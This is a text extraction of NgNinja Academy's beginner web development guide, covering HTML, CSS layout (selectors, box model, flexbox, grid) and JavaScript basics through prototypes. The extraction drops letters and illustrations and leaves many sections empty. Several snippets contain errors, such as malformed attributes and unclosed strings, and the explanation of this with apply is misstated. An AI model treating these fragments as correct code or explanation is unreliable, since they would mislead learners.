HTML To React - The Ultimate Guide PDF
HTML To React - The Ultimate Guide PDF
HTML
TO
REACT
The Ultimate Guide
NGNINJA
ACADEMY
NgNinja Academy | All Rights Reserved
Table Of Content
1 / 85
NgNinja Academy | All Rights Reserved
Id and Class
Element and Class
Advanced Selectors
adjacent selector
attributes selector
Backgrounds
Colors
Borders
Fun with Border Radius
Shapes
Shorthand
Circle and leaf
Circle
Leaf
Module 3 - Display and position your elements
Box model
Total width of an element should be calculated like this:
Total height of an element should be calculated like this:
Margins
Margin On Individual Sides
Margin Shorthands
Auto Margin
Paddings
Padding On Individual Sides
Padding Shorthands
Display
Block
Inline
Inline-block
None
Visibility Hidden
Flex
Positions
Static
Relative
Absolute
Fixed
Centering:
Centering Vertically
CSS Float
Clearing Floats
Methods to clear oat:
Module 4 - Semantic HTML5
Semantic HTML?
More about Semantic HTML
Di erence between HTML and HTML5?
2 / 85
NgNinja Academy | All Rights Reserved
HTML
HTML 5
Below are new semantic elements
What elements have disappeared in the latest HTML?
Di erence between <div> and <frame>?
What is HTML5 Web Storage?
localStorage:
sessionStorage:
Module 5 - Flexbox intro and media query
Flexbox
Flex box container properties
Flex box item properties
Flexbox Examples
Media queries
Always Design for Mobile First
Orientation: Portrait / Landscape
Let's talk about the sizes - px vs em vs rem
How to calculate PX from REM
More on rem vs em
CSS Grids
Flexbox
Grids
Example
Example #2 - Gaps
Example #3 - Fractions
Example #4 - Fractions Contd.
Nested grids
Start-End points of Grid
Module 6 - Quirks, tips, and tricks
FOUC
How to avoid it?
BEM naming convention
OOCSS - Object Oriented CSS
CSS User Agent Styles
Normalizing CSS
Reset CSS
Validate your CSS
Testing Strategies
Conditional CSS
3 / 85
NgNinja Academy | All Rights Reserved
4 / 85
NgNinja Academy | All Rights Reserved
<!DOCTYPE html>
<html>
<head>
<title>My First HTML Page</title>
</head>
<body>
<h1>My First Web Page</h1>
</body>
</html>
If you want to run your application on the Internet and share the URL with your partner follow
these steps
Go to Netlify Drop
5 / 85
NgNinja Academy | All Rights Reserved
Drop the folder that contains your HTML and CSS le (if you have one) on that page where it says
Drag and drop your site folder here
And Voila! It should create a unique URL that you can simply share with your partner
6 / 85
NgNinja Academy | All Rights Reserved
DOM
NOTE: If we put something after </body> end tag, then that is automatically moved inside the
body, at the end, as the HTML spec requires that all content must be inside <body>.
7 / 85
NgNinja Academy | All Rights Reserved
NOTE: Modern browsers are smart. If the browser encounters malformed HTML, it automatically
corrects it when making the DOM. For ex: browser will auto insert <html> tag at the top is not
provided.
section
<section>
<h2>Subtitle</h2>
8 / 85
NgNinja Academy | All Rights Reserved
article
<article>
<h2>Subtitle</h2>
<p>My long paragraph</p>
</article>
div
<div>
<h2>Subtitle</h2>
<p>My long paragraph</p>
</div>
9 / 85
NgNinja Academy | All Rights Reserved
10 / 85
NgNinja Academy | All Rights Reserved
Headings
Paragraph
11 / 85
NgNinja Academy | All Rights Reserved
TIP: don't add extra white spaces - the browser will remove any extra spaces and extra lines when
the page is displayed. Use other HTML and CSS properties to add white spaces as per your
requirements.
<div>
<p style="font-size:12px;">This is a paragraph.</p>
</div>
<a href="https://www.google.com">Google</a>
12 / 85
NgNinja Academy | All Rights Reserved
Images
<img src="https://via.placeholder.com/150">
Image Sizes
You can size your image using width and height property or the style property
Image as links
You can make image clickable using anchor tags around them
This can be used to navigate to another place by clicking on the image
<a href="https://www.google.com">
<img src="https://via.placeholder.com/150" alt="placeholder" width="150"
height="150">
13 / 85
NgNinja Academy | All Rights Reserved
</a>
14 / 85
NgNinja Academy | All Rights Reserved
Create style.css le inside app folder that you created above when creating your rst HTML
page
Your styles will go in this style.css le
You have to use the link tag to include your style le inside your HTML le
<head>
<meta charset="utf-8" />
<title>Valentine Gift</title>
15 / 85
NgNinja Academy | All Rights Reserved
Replace the body tag in your index.html le to match the following code
You are adding card DIV which will be the container of your greeting card. We will add the styles
later.
Inside the card DIV add two H1 tags
These are your heading messages
H1 are the biggest headings available
You can also change the font-size as per your need
We also assigned appropriate classes to our HTML so that we can style them later
You will learn about classes later
<body>
<div class="card">
<h1 class="quote">You're the CSS to my HTML</h1>
<h1 class="message">Happy Valentine's Day</h1>
</div>
</body>
16 / 85
NgNinja Academy | All Rights Reserved
.card {
border: 10px solid #E53038;
height: 300px;
width: 300px;
padding: 20px;
display: flex;
flex-direction: column;
justify-content: center;
align-items: center;
}
17 / 85
NgNinja Academy | All Rights Reserved
Selectors
In layman terms selectors are used to grab a DOM element to apply styles to it
There are di erent types of selectors you will learn below
.class
.myClass {
background-color: yellow;
18 / 85
NgNinja Academy | All Rights Reserved
child .class
// syntax
.parent .child {
background-color: yellow;
}
You have to write parent class name followed by a space, and then followed by the child's class
name
Below example will add background-color: yellow to the paragraph
<div class="parent">
<p class="child">This is a paragraph</p>
</div>
.parent .child {
background-color: yellow;
}
19 / 85
NgNinja Academy | All Rights Reserved
#id
#myParagraph {
background-color: yellow;
}
element tag
You can directly select an element by its tag name and apply the styles
In this case you don't have to mention id or the class - simply write the element name in your
styles and add properties to it
Below example will grab all the p elements and apply the style to it
<p>This is a paragraph</p>
p {
background-color: yellow;
20 / 85
NgNinja Academy | All Rights Reserved
Mix n match
Above mentioned selectors are basic and most common ways to select elements and apply the
styles
You can also mix and match any of the above selectors to apply the styles
Id and Class
id="myParagraph" forms the Id selector
class="myClass" forms the class selector
#myParagraph.myClass {
background-color: yellow;
}
p.myClass {
background-color: yellow;
}
22 / 85
NgNinja Academy | All Rights Reserved
Advanced Selectors
adjacent selector
<ul></ul>
<p></p>
ul + p {
color: red;
}
attributes selector
Will only select the anchor tags that have a title attribute
a[title] {
color: green;
}
23 / 85
NgNinja Academy | All Rights Reserved
a[href="http://ngninja.com"] {
color: #1f6053; /* ngninja green */
}
Star designates that the proceeding value must appear somewhere in the attribute's value
This covers ngnin.com, ngninja.com, and even inja.com
a[href*="in"] {
color: #1f6053; /* ngninja green */
}
[title~="cat"] {
border: 5px solid yellow;
}
24 / 85
NgNinja Academy | All Rights Reserved
[title*="cat"] {
border: 5px solid yellow;
}
[title|="cat"] {
border: 5px solid yellow;
}
[title^="ca"] {
border: 5px solid yellow;
}
25 / 85
NgNinja Academy | All Rights Reserved
[title$="at"] {
border: 5px solid yellow;
}
26 / 85
NgNinja Academy | All Rights Reserved
Backgrounds
background-color
background-image
background-position
background-size
background-repeat
background-origin
background-clip
background-attachment
body {
background: lightblue url("myImage.png") no-repeat center;
}
27 / 85
NgNinja Academy | All Rights Reserved
Colors
h1 {
color: red;
}
h1.myClass {
color: #02af00;
}
h1#myId {
color: rgb(111,111,111);
}
Borders
border-width
border-style (required)
border-color
In below example
28 / 85
NgNinja Academy | All Rights Reserved
h1 {
border: 5px solid red;
}
Shapes
Borders also take another property called border-radius using which you can give di erent
shapes to your elements
In the above illustration we have a square on the left and circle on the right
29 / 85
NgNinja Academy | All Rights Reserved
If you provide border-radius of 50% it will turn your square into a circle
.square {
border-radius: none;
}
.circle {
border-radius: 50%;
}
Shorthand
30 / 85
NgNinja Academy | All Rights Reserved
<h1 class="">Four</h1>
</div>
// all 4 corners
.one {
border-radius: 50%;
}
.card {
border: 10px solid #E53038;
height: 100px;
width: 100px;
padding: 20px;
display: flex;
flex-direction: column;
justify-content: center;
align-items: center;
margin-bottom: 20px;
}
32 / 85
NgNinja Academy | All Rights Reserved
Circle
.circle {
border-radius: 50%;
}
Leaf
.leaf {
border-radius: 5px 20px 5px;
33 / 85
NgNinja Academy | All Rights Reserved
34 / 85
NgNinja Academy | All Rights Reserved
Box model
div {
width: 320px;
padding: 10px;
35 / 85
NgNinja Academy | All Rights Reserved
320px (width)
Total element width = width + left padding + right padding + left border +
right border + left margin + right margin
Total element height = height + top padding + bottom padding + top border
+ bottom border + top margin + bottom margin
Margins
36 / 85
NgNinja Academy | All Rights Reserved
Margins are used to create space around elements - outside its border
<div>
<p class="myParagraph">My Paragraph</p>
</div>
// styles
.myParagraph {
margin: 20px;
}
margin: 20px; gives the p element margin of 20px around it from all the sides
You can also give margin to the elements on any particular side if you'd want
margin-top
margin-right
margin-bottom
margin-left
Margin Shorthands
37 / 85
NgNinja Academy | All Rights Reserved
p {
margin: 20px;
}
p {
margin: 20px 40px;
}
p {
margin: 20px 40px 50px;
}
Auto Margin
38 / 85
NgNinja Academy | All Rights Reserved
auto value of margin sets the element horizontally center within its container
Below div will take 200px width and remaining space will be split equally between left and right
margin
div {
width: 200px
margin: auto;
}
Paddings
Paddings are used to generate space around the given element's content - inside its border
<div class="myDiv">
<p>My Paragraph</p>
</div>
// styles
.myDiv {
padding: 20px;
}
39 / 85
NgNinja Academy | All Rights Reserved
You can also give padding to the elements on any particular side if you'd want
padding-top
padding-right
padding-bottom
padding-left
Padding Shorthands
div {
padding: 20px;
}
div {
padding: 20px 40px;
}
40 / 85
NgNinja Academy | All Rights Reserved
div {
padding: 20px 40px 50px;
}
41 / 85
NgNinja Academy | All Rights Reserved
Display
Block
Inline
42 / 85
NgNinja Academy | All Rights Reserved
Inline-block
None
Visibility Hidden
div {
visibility: hidden;
}
Flex
43 / 85
NgNinja Academy | All Rights Reserved
Flex property gives ability to alter its item's width/height to best ll the available space
It is used to accommodate all kind of display devices and screen sizes
Fills available space
Or shrink to prevent over ow
44 / 85
NgNinja Academy | All Rights Reserved
Positions
Static
Relative
45 / 85
NgNinja Academy | All Rights Reserved
<div class=myDiv""></div>
.myDiv{
position: relative;
top: 10px;
left: 10px;
}
Now, it will slide down and to the left by 10px from where it would normally be
Please refer the illustration above
Without that "top" property - it would have just followed position: static
Absolute
<div class=myDiv""></div>
.myDiv{
position: absolute;
top: 10px;
46 / 85
NgNinja Academy | All Rights Reserved
left: 10px;
}
The above div will slide down and to the left by 10px from its parent
Assuming the parent is either absolute or relative positioned
Fixed
<div class=myDiv""></div>
.myDiv{
position: fixed;
}
47 / 85
NgNinja Academy | All Rights Reserved
Centering:
<div class="card">
<h2 class="">long paragraph</h2>
<p class="">headline</p>
</div>
P { text-align: center }
H2 { text-align: center }
48 / 85
NgNinja Academy | All Rights Reserved
<div class="card">
<p class="blocktext">
headline
</p>
<img src="https://via.placeholder.com/150" />
</div>
P.blocktext {
margin-left: auto;
margin-right: auto;
width: 50px;
}
IMG {
display: block;
margin-left: auto;
margin-right: auto;
}
.card {
border: 10px solid green;
height: 200px;
width: 200px;
padding: 20px;
}
49 / 85
NgNinja Academy | All Rights Reserved
Centering Vertically
We can use transform property along with setting the top of the element to center it vertically
inside its parent
Please not the parent container has to be positioned relative or absolute to center the child
<div class="container">
<p>This paragraph…</p>
</div>
div.container {
height: 10em;
position: relative;
border: 2px solid blue;
}
div.container p {
margin: 0;
position: absolute;
50 / 85
NgNinja Academy | All Rights Reserved
top: 50%; - 50% here means 50% of the height of the container
transform: translate(0, -50%);
this will move the element up by half its own height.
50% in translate(0, -50%) refers to the height of the element itself
51 / 85
NgNinja Academy | All Rights Reserved
CSS Float
<p>
my long text here...
<img class="myImage1" src="myImage1.jpg" alt="myImage1">
</p>
<p>
my long text here...
<img class="myImage2" src="myImage2.jpg" alt="myImage2">
</p>
.myImage1 {
float: left;
52 / 85
NgNinja Academy | All Rights Reserved
.myImage2 {
float: right;
}
Please refer the above code and the illustration to get better visualization
We have de ned two p tags and an img tag inside each paragraph elements
We then set float: left; on myImage1
This pushes the image to the left and text to the right
And set float: right; on myImage2
This pushes the image to the right and text to the left
Clearing Floats
Problem1:
============
| LHS | RHS|
| |=====
| |
=======
53 / 85
NgNinja Academy | All Rights Reserved
problem2:
parent collapses when children are oated
===========
parent
===========
============
| LHS | RHS|
| | |
============
<div class="parent">
<div class="lhs" >
// float left
</div>
<div class="rhs">
// float left
</div>
</div>
// Fix:
==================
parent
============
| LHS | RHS|
| | |
============
===================
<div class="parent">
<div class="lhs" >
// float left
</div>
<div class="rhs">
// float left
</div>
<div style="clear:both"></div>
</div>
54 / 85
NgNinja Academy | All Rights Reserved
clear
takes in 3 values. left, right or both
used for problem 1
overflow:hidden
great for ensuring parent does not collapse
this prop is set to parent
used for problem 2
clearfix
its a hack.. it uses pseudo elements... and clear both property together
prop set to the parent
used for problem 2
55 / 85
NgNinja Academy | All Rights Reserved
Semantic HTML?
It is a coding style
Semantic elements == elements with a meaning
Good for SEO
Good for accessibility
Especially for visually impaired people
Which rely on browser speech, screen readers to interpret page content clearly
<b></b> for bold, and <i></i> for italic should not be used
They are just formatting
They do not provide indication of meaning and structure
Use <strong></strong> and <em></em>
Provide meaning ---> emphasis for example
Non-semantic elements: <div> and <span> - Tells nothing about its content
Semantic elements: <form>, <table>, and <article> - Clearly de nes its content
HTML
HTML 5
57 / 85
NgNinja Academy | All Rights Reserved
58 / 85
NgNinja Academy | All Rights Reserved
localStorage:
// Store
localStorage.setItem("lastname", "Smith");
// Retrieve
document.getElementById("result").innerHTML =
localStorage.getItem("lastname");
sessionStorage:
59 / 85
NgNinja Academy | All Rights Reserved
if (sessionStorage.clickcount) {
sessionStorage.clickcount = Number(sessionStorage.clickcount) + 1;
} else {
sessionStorage.clickcount = 1;
}
60 / 85
NgNinja Academy | All Rights Reserved
Flexbox
It provides e cient way to lay out, align and distribute space among items in a container
The main idea - give the container the ability to alter its items' width/height (and order) to best ll
the available space
display: flex
de nes a ex container
flex-direction: row | row-reverse | column | column-reverse;
establishes main axis
de nes the direction of children placement
flex-wrap: nowrap | wrap | wrap-reverse;
allow items to wrap or nowrap as needed
justify-content
de nes the alignment along the main axis
X-axis for row, Y-axis for column
align-items
de nes the alignment along the cross axis
Y-axis for row, X-axis for column - opposite of justify-content
children properties
61 / 85
NgNinja Academy | All Rights Reserved
Flexbox Examples
This is the boilerplate code we will use to demonstrate how ex box works
<div class="flex-container">
<div class="flex-item">1</div>
<div class="flex-item">2</div>
<div class="flex-item">3</div>
<div class="flex-item">4</div>
<div class="flex-item">5</div>
<div class="flex-item">6</div>
</div>
.flex-container {
display: flex;
62 / 85
NgNinja Academy | All Rights Reserved
padding: 20px;
margin: 0;
list-style: none;
background: orange;
}
.flex-item {
background: tomato;
padding: 5px;
width: 200px;
height: 150px;
margin-top: 10px;
line-height: 150px;
color: white;
font-weight: bold;
font-size: 3em;
text-align: center;
}
.flex-container {
display: flex;
flex-direction: column;
}
63 / 85
NgNinja Academy | All Rights Reserved
.flex-container {
display: flex;
flex-direction: column-reverse;
}
.flex-container {
display: flex;
flex-direction: row;
justify-content: center;
}
64 / 85
NgNinja Academy | All Rights Reserved
.flex-container {
display: flex;
flex-direction: row;
justify-content: space-between;
}
<div class="flex-container">
<div class="flex-item second">1</div>
<div class="flex-item first">2</div>
<div class="flex-item third">3</div>
</div>
.first {
order: 1;
}
.second {
order: 2;
}
.third {
order: 3;
}
65 / 85
NgNinja Academy | All Rights Reserved
<div class="flex-container">
<div class="flex-item second">1</div>
<div class="flex-item first">2</div>
<div class="flex-item third">3</div>
</div>
.first {
flex-grow: 1;
}
.second {
flex-grow: 2;
}
.third {
flex-grow: 3;
}
<div class="flex-container">
<div class="flex-item second">1</div>
<div class="flex-item first">2</div>
<div class="flex-item third">3</div>
</div>
.first {
flex-basis: 500px;
}
66 / 85
NgNinja Academy | All Rights Reserved
67 / 85
NgNinja Academy | All Rights Reserved
Media queries
Media queries allow you to target any platform you desire and write speci c styles for that
platform
This is how you write responsive styles
Di erent styles for desktops vs tablets vs mobiles
Simple example below
// If the browser window is smaller than 500px, the background color will
change to lightblue:
/* Landscape tablets */
@media only screen and (min-width: 768px) {
/* Laptops/desktops */
@media only screen and (min-width: 992px) {
69 / 85
NgNinja Academy | All Rights Reserved
70 / 85
NgNinja Academy | All Rights Reserved
If you’re setting all of your font-sizes, element sizes and spacing in pixels, you’re not treating the
end user with respect.
Users will have to zoom in and out with ctrl plus +/- depending on the device they are on
REMs are a way of setting font-sizes based on the font-size of the root HTML element
Allows you to quickly scale an entire project by changing the root font-size
Both pixels and REMs for media queries fail in various browsers when using browser zoom, and
EMs are the best option we have.
More on rem vs em
72 / 85
NgNinja Academy | All Rights Reserved
CSS Grids
Flexbox
Flexbox is 1 dimension
Its either columns OR rows
Complext 2-dimensional layouts not possible
Grids
Example
73 / 85
NgNinja Academy | All Rights Reserved
<div class="wrapper">
// first row
<div>70%</div>
<div>30%</div>
.wrapper {
display: grid;
Example #2 - Gaps
grid-gap - used to give margin between rows and columns using single command
74 / 85
NgNinja Academy | All Rights Reserved
.wrapper {
display: grid;
grid-template-columns: 40% 30% 30%; // 3 columns in 1 row
grid-column-gap: 1em; // margin between columns
grid-row-gap: 1em; // margin between row
grid-gap; 1em; // row and column both!!!
}
Example #3 - Fractions
3 DIVS
Total space will be divided by 4
ex: 80 / 4 = 20px
1st and 3rd DIV will take 20px space
2nd DIV will take 40px space
75 / 85
NgNinja Academy | All Rights Reserved
You can use repeat() function instead of manually repeating the column sizes
.wrapper {
display: grid;
// 3 columns in 1 row
// divide into fractions...
grid-template-columns: 1fr 2fr 1fr;
76 / 85
NgNinja Academy | All Rights Reserved
Nested grids
<div class="wrapper">
<div class="nested">
<div></div>
<div></div>
<div></div>
</div>
</div>
77 / 85
NgNinja Academy | All Rights Reserved
We can also specify start and end points of the grid columns and rows
If you use this you may not want to specify sizes
Check out the inline descriptions
.box1 {
grid-column: 1/3; // box1 spans from 1 to 3 columns on browser window
grid-row: 1/3; // box1 spans from 1 to 3 rows on browser window
}
.box2 {
grid-column: 3; // box2 spans takes spaces 3 and 4
grid-row: 1/3; // same as box1
}
.box3 {
grid-column: 2/4; // box3 will take space 2 to 4
grid-row: 3; // it will take row space 3
}
78 / 85
NgNinja Academy | All Rights Reserved
FOUC
1.
2.
79 / 85
NgNinja Academy | All Rights Reserved
<html>
<head>
<!— Other stuff like title and meta tags go here -->
<style type="text/css">
.hidden {display:none;}
</style>
<script type="text/javascript" src="/scripts/jquery.js"></script>
<script type="text/javascript">
$('html').addClass('hidden');
$(document).ready(function() { // EDIT: From Adam Zerner's
comment below: Rather use load: $(window).on('load', function () {...});
$('html').show(); // EDIT: Can also use
$('html').removeClass('hidden');
});
</script>
</head>
<body>
<!— Body Content -->
</body>
</html>
80 / 85
NgNinja Academy | All Rights Reserved
<ul class="nav">
81 / 85
NgNinja Academy | All Rights Reserved
<li class="nav__item">Home</li>
<li class="nav__item nav__item—-active">About</li> // active modifier
applied
</ul>
// basic example
.global {
width: 980px;
margin: 0 auto;
padding-left: 20px;
padding-right: 20px;
}
.header {
height: 260px;
}
.main {
background-color: gray;
}
.footer {
height: 100px;
background-color: blue;
}
82 / 85
NgNinja Academy | All Rights Reserved
<header>
<div class="header global">
// your code
</div>
</header>
<footer>
<div class="footer global">
// your code
</div>
</footer>
83 / 85
NgNinja Academy | All Rights Reserved
Normalizing CSS
Reset CSS
This approach says that we don’t need the browsers’ default styles at all
We’ll de ne in the project according to our needs
CSS Reset resets all of the styles that come with the browser’s user agent
Grab sample CSS reset here
The problem with CSS Resets is that they are ugly and hard to debug
Solution - use Normalize CSS with little bit of CSS Reset
Unlike an ordinary CSS reset, target speci c HTML tags’ styles rather than making a big list of tags.
Make it less aggressive and a lot more readable
84 / 85
NgNinja Academy | All Rights Reserved
Testing Strategies
Do cross-browser testing
Manually test Chrome, refox
Then manually test IE, Edge
Then use tools like ..for compatibilities
browsershots.org
IEtest
Conditional CSS
<!—[If IE]>
<link type="text/css" href="IEHacks.css" />
<![endif]-->
<!—[if !IE]>
<link type="text/css" href="NonIEHacks.css" />
<![endif]-->
85 / 85
NgNinja Academy | All Rights Reserved
JavaScript
Table Of Content
1 / 92
NgNinja Academy | All Rights Reserved
Filter
Module 3 - JavaScript Objects and Functions
JavaScript Object Basics
Access Object Value
JavaScript Functions
Example Function
Invoke Function
Local variables
Function Expressions
Scoping in JavaScript
Two Types
Examples
Example: JavaScript does not have block scope
Constructor Functions
The this keyword
this with example
More this examples
The new Operator
Understand with example
Example of creating an object with and without new operator
WITHOUT new operator
WITH new operator
Interview Question: What is the di erence between the new operator and Object.create
Operator
new Operator in JavaScript
Object.create in JavaScript
Module 4 - Prototypes and Prototypal Inheritance
JavaScript as Prototype-based language
What is a prototype?
Example of Prototype
What is Prototypal Inheritance?
Understand Prototypal Inheritance by an analogy
Why is Prototypal Inheritance better?
Example of Prototypal Inheritance
Linking the prototypes
Prototype Chain
How does prototypal inheritance/prototype chain work in above example?
Module 5 - Advanced JavaScript (Closures, Method Chaining, etc.)
Hoisting in JavaScript
Another example
We get an error with Function Expressions
JavaScript Closures
Closure remembers the environment
IIFE
What is happening here?
Closure And IIFE
2 / 92
NgNinja Academy | All Rights Reserved
3 / 92
NgNinja Academy | All Rights Reserved
What is JavaScript
4 / 92
NgNinja Academy | All Rights Reserved
It can be used on the Frontend, Backend, and also in the databases like MongoDB
It is dynamic in nature ex: objects and arrays can be of mixed types
5 / 92
NgNinja Academy | All Rights Reserved
<!DOCTYPE html>
<html>
<body>
<h1>My First Web Page</h1>
<script>
console.log("Hello World");
</script>
</body>
</html>
JavaScript code is written in between the script tag in the above code.
When the page loads the browser will run the code between the script tag.
alert() function will be called which will create a model with hello world text on it.
Instead of creating your own HTML le you can use online IDE as a JavaScript playground
6 / 92
NgNinja Academy | All Rights Reserved
Code Sandbox
PlayCode
Type "echo"
Then everytime you want to JavaScript program hit hit cmd + shift + p on Mac, ctrl
+ shift + p on Windows / Linux
// task.json
{
// See https://go.microsoft.com/fwlink/?LinkId=733558
// for the documentation about the tasks.json format
"version": "2.0.0",
"tasks": [
{
"label": "echo",
"type": "shell",
"command": "echo Hello"
},
{
"label": "Show in console",
"type": "shell",
"osx": {
"command": "/usr/local/opt/node@10/bin/node ${file}"
},
"group": {
"kind": "build",
"isDefault": true
}
}
]
}
7 / 92
NgNinja Academy | All Rights Reserved
8 / 92
NgNinja Academy | All Rights Reserved
Variables
// More examples
9 / 92
NgNinja Academy | All Rights Reserved
Values used in your code can be of certain type - number or string for example
This type is called data type of the language
Data Types supported in JavaScript are: Number, String, Boolean, Function, Object,
Null, and Undefined
They are categorized as primitive or non-primitive data types
Check the illustration below
10 / 92
NgNinja Academy | All Rights Reserved
11 / 92
NgNinja Academy | All Rights Reserved
Basic Operators
Special Operators
12 / 92
NgNinja Academy | All Rights Reserved
1.
var x = 15 + 5 // 20
var y = "hi"
var z = x + y // 20hi
2.
13 / 92
NgNinja Academy | All Rights Reserved
class Car {
14 / 92
NgNinja Academy | All Rights Reserved
constructor(vehicle) {
this._vehicle = vehicle;
}
move() {
console.log("drive", this._vehicle);
}
}
class Bike {
constructor(vehicle) {
this._vehicle = vehicle;
}
move() {
console.log("ride", this._vehicle);
}
}
function getVehicle(vehicle) {
switch (vehicle.type) {
case "bike":
return new Bike(vehicle);
case "car":
return new Car(vehicle);
default:
break;
}
}
// this would create the appropriate vehicle using the above classes
let vehicle = getVehicle({
type: "bike",
});
vehicle = getVehicle({
type: "car",
});
15 / 92
NgNinja Academy | All Rights Reserved
Conditionals
16 / 92
NgNinja Academy | All Rights Reserved
// ...your code
if(some-condition == true) {
// execute some code
}
else {
// execute some other code
}
If Else Condition
17 / 92
NgNinja Academy | All Rights Reserved
var x = 10;
if(x == 10) {
console.log("x is 10")
}
else if(x < 10) {
console.log("x is less than 10)
}
else {
console.log("x is greater than 10)
}
Ternary Operator
// using if else
if(x == 10) {
console.log("x is 10")
}
else {
console.log("x is NOT 10")
}
// using ternary
18 / 92
NgNinja Academy | All Rights Reserved
condition ? if-code : else-code is the syntax used for the ternary operator
Advanced Ternary
You can also nest the ternary operators if there are complex conditions
// using if else
condition ? nested-ternary : else-code - this is the syntax we used for the above-nested
ternary operation
You can go multiple levels deep into writing nested ternary operator
But it is recommended to keep the ternary operators as simple as possible to keep the code more
readable
19 / 92
NgNinja Academy | All Rights Reserved
Switch Statements
switch(x) {
case 10:
console.log("x is 10")
break
case 20:
console.log("x is 20")
break
default
console.log("x is NOT 10 nor 20")
}
20 / 92
NgNinja Academy | All Rights Reserved
// falsy values
false
0 (zero)
"" (empty string)
null
undefined
NaN (a special Number value meaning Not-a-Number)
// truthy values
This concept is important because the inherent values can then be used in conditional logic
You don't have to do if(x == false) - you can just do if(!x)
21 / 92
NgNinja Academy | All Rights Reserved
if (x) {
// x is truthy
}
else {
// x is falsy
// it could be false, 0, "", null, undefined or NaN
}
22 / 92
NgNinja Academy | All Rights Reserved
For Loop
Loops are used to run the same code block again and again "for" given number of times
If the condition is true it will run the code inside the loop
23 / 92
NgNinja Academy | All Rights Reserved
It will continue running the code inside the loop until the condition does not meet anymore
After that the execution will come outside the loop and continue executing the rest of the code
Below code will iterate over an array and log all its items
For-In loop
It is similar to for loop but is used to iterate over an object instead of an array
24 / 92
NgNinja Academy | All Rights Reserved
For-Of loop
for(var x of items) {
console.log(x) // 1, 2, 3
}
While loop
This loop executed a block of code "while" the given condition is true
var i = 0
while (i < 10) {
console.log(i)
25 / 92
NgNinja Academy | All Rights Reserved
i++
}
NOTE: Remember to terminate the while condition properly. Or else the loop will go into in nity and
it might crash your browser.
Do-While loop
It is similar to the while loop except it executes the block of code rst and then checks for the
condition
This process will repeat until the condition is true
var i = 0
do {
console.log(i)
i++
} while (i < 10)
Tip: In my experience, I have rarely used this do-while. Most of the time you can get away with
using the for or the while loop.
26 / 92
NgNinja Academy | All Rights Reserved
27 / 92
NgNinja Academy | All Rights Reserved
Map
function getSquare(item) {
return item * item
}
In the above example getSquare method is called for each item in the numbers array
The method returns the square of each number
The result of the .map is a new array with square of each number
Reduce
Similarly to .map - .reduce calls the given method for each element in the array
The result of each method call is passed over to the next method call in the array
This result is called as accumulator
It can anything like a string, number or any object
You can also pass in an initial value of the accumulator as an optional argument
28 / 92
NgNinja Academy | All Rights Reserved
In the above example getSum method is called for each item in the numbers array
0 is passed as the initial value of the accumulator
result is the variable name of the accumulator
The above .reduce method adds each item in the array and stores that sum in the result
variable
Finally the result is returned to sumOfNumbers
Filter
function isGreaterThanTwo(item) {
return item > 2
}
29 / 92
NgNinja Academy | All Rights Reserved
In the above example isGreaterThanTwo method checks if the value of the given item is greater
than two
The result is a new array with only [3,4] items in it
30 / 92
NgNinja Academy | All Rights Reserved
Module 3 - JavaScript
Objects and Functions
const person = {
name: "foo",
age: 21
}
31 / 92
NgNinja Academy | All Rights Reserved
1.
console.log(person.name) // foo
2.
console.log(person['age']) // 21
32 / 92
NgNinja Academy | All Rights Reserved
JavaScript Functions
Example Function
function addMe(a, b) {
return a + b // The function returns the sum of a and b
}
Invoke Function
33 / 92
NgNinja Academy | All Rights Reserved
Local variables
function addMe(a) {
let b = 2
return a + b
}
function addMe(a) {
let b = 2
return a + b
}
34 / 92
NgNinja Academy | All Rights Reserved
Function Expressions
Please note that the name of the function is assigned to the variable instead of the function
Result of the function remains the same
35 / 92
NgNinja Academy | All Rights Reserved
Scoping in JavaScript
Two Types
Local scope
Available locally to a "block" of code
Global scope
Available globally everywhere
JavaScript traditionally always had function scope. JavaScript recently added block scope as a
part of the new standard. You will learn about this in the Advanced JavaScript module.
Examples
// global scope
var a = 1;
36 / 92
NgNinja Academy | All Rights Reserved
function one() {
console.log(a); // 1
}
one(); // 1
two(2); // 2
three(); // 3
var a = 1
function four(){
if(true){
var a = 4
}
37 / 92
NgNinja Academy | All Rights Reserved
38 / 92
NgNinja Academy | All Rights Reserved
Constructor Functions
It is considered good practice to name constructor functions with an upper-case rst letter. It is not
required though.
function Person() {
this.name = "John"
this.age = 21
}
The this represents the object (or function) that “owns” the currently executing code.
this keyword references current execution context.
When a JavaScript function is invoked, a new execution context is created.
this in js is di erent than other languages because of how functions are handled
Functions are objects in JavaScript
So we can change the value of this keyword for every function call
39 / 92
NgNinja Academy | All Rights Reserved
The value of this depends on the object that the function is attached to
In the below example;
getMyAge function belongs to person object
So, this.age represents the person object's age property
const person = {
name: "foo",
age: 21,
getMyAge: function() {
return this.age // 21
}
}
In below example -
var foo = 10; statement declares foo variable on the window object
40 / 92
NgNinja Academy | All Rights Reserved
So, this.foo returns the value of foo variable on the window object - which is 10
var myObject = { foo : 20}; declares foo property which belongs to myObject object
print.apply(myObject); statement simply makes myObject the owner of the print method
So, this.foo now returns the value of foo variable on the window object - which is 20
function print(){
console.log(this.foo);
}
41 / 92
NgNinja Academy | All Rights Reserved
// user-defined object
class Car {
constructor(name) {
this.name = name;
}
}
42 / 92
NgNinja Academy | All Rights Reserved
function Car(name) {
console.log(this) // this points to myCar
this.name = name;
}
43 / 92
NgNinja Academy | All Rights Reserved
var t = Foo();
console.log(t); // undefined
44 / 92
NgNinja Academy | All Rights Reserved
function Car() {
console.log(this) // this points to myCar
this.name = "Honda";
}
Object.create in JavaScript
45 / 92
NgNinja Academy | All Rights Reserved
const Car = {
name: "Honda"
}
46 / 92
NgNinja Academy | All Rights Reserved
JavaScript does not contain "classes" that de nes a blueprint for the object, such as is found in C++
or Java
JavaScript uses functions as "classes"
Everything is an object in JavaScript
In JavaScript, objects de ne their own structure
This structure can be inherited by other objects at runtime
What is a prototype?
47 / 92
NgNinja Academy | All Rights Reserved
Example of Prototype
Prototype property allows you to add properties and methods to any object dynamically
function Animal(name) {
this.name = name
}
Animal.prototype.age = 10
48 / 92
NgNinja Academy | All Rights Reserved
In JavaScript object inherits from object - unlike class inheritance in C++ or Java
Prototypal inheritance means that if the property is not found in the original object itself
Then the property will be searched for in the object's parent prototype object.
Object literally links to other objects
Check out the illustration above and refer the code below
function Animal(name) {
this.name = name;
}
Animal.prototype.move = function () {
console.log("move");
};
function Cat(name) {
Animal.call(this, name);
49 / 92
